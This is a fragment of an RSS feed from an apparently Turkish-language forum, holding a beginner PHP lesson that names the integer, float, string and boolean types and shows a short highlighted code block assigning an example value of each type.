<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;sayi1 </span><span style="color: #007700">= </span><span style="color: #0000BB">1</span><span style="color: #007700">; </span><span style="color: #FF8000">// İnteger<br />
</span><span style="color: #0000BB">&#36;sayi2 </span><span style="color: #007700">= </span><span style="color: #0000BB">1.4</span><span style="color: #007700">; </span><span style="color: #FF8000">// Float<br />
</span><span style="color: #0000BB">&#36;sayi3 </span><span style="color: #007700">= </span><span style="color: #DD0000">"1"</span><span style="color: #007700">; </span><span style="color: #FF8000">// String<br />
</span><span style="color: #0000BB">&#36;sayi4 </span><span style="color: #007700">= </span><span style="color: #0000BB">true</span><span style="color: #007700">/</span><span style="color: #0000BB">false</span><span style="color: #007700">; </span><span style="color: #FF8000">// Boolean <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b"><span style="color: #e82a1f;" class="mycode_color">integer</span></span> - Tam Sayılar İçin Kullanılır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #e82a1f;" class="mycode_color">Float (Double)</span></span> - Gerçek Sayılar için kullanılır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #e82a1f;" class="mycode_color">String</span></span> - Karakter katarları için kullanılır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #e82a1f;" class="mycode_color">Boolean </span></span>- Mantıksal İfadeler için kullanılır.<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;sayi1 </span><span style="color: #007700">= </span><span style="color: #0000BB">1</span><span style="color: #007700">; </span><span style="color: #FF8000">// İnteger<br />
</span><span style="color: #0000BB">&#36;sayi2 </span><span style="color: #007700">= </span><span style="color: #0000BB">1.4</span><span style="color: #007700">; </span><span style="color: #FF8000">// Float<br />
</span><span style="color: #0000BB">&#36;sayi3 </span><span style="color: #007700">= </span><span style="color: #DD0000">"1"</span><span style="color: #007700">; </span><span style="color: #FF8000">// String<br />
</span><span style="color: #0000BB">&#36;sayi4 </span><span style="color: #007700">= </span><span style="color: #0000BB">true</span><span style="color: #007700">/</span><span style="color: #0000BB">false</span><span style="color: #007700">; </span><span style="color: #FF8000">// Boolean <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></content:encoded>
		</item>
	</channel>
</rss>